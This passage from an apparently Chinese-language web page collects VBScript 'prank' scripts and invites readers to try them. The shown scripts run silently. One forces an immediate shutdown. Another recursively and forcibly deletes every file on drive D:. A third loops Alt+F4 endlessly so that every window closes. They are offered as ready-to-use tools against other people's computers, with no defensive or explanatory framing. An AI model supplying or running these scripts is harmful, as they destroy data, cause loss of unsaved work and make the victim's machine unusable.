-----------------------------------------------------------------------------

　　dim WSHshell

　　set WSHshell = wscript.createobject("wscript.shell")

　　WSHshell.run "shutdown -f -s -t 00",0 ,true

　　-----------------------------------------------------------------------------

　　四、删除D:\所有文件

　　---------------------------------------------------------------------------

　　dim WSHshell

　　set WSHshell = wscript.createobject("wscript.shell")

　　WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

　　----------------------------------------------------------------------------

　　五、不断按下alt+f4 (开什么都关闭)

　　---------------------------------------------------------------------------

　　dim WSHshell

　　set WSHshell = wscript.createobject("wscript.shell")

　　while(1)

　　WSHshell.SendKeys "%{F4}"

　　loop

　　---------------------------------------------------------------------------

　　vbs整人代码?以上收集了几种常见的vbs整人代码。感兴趣的也可以尝试下。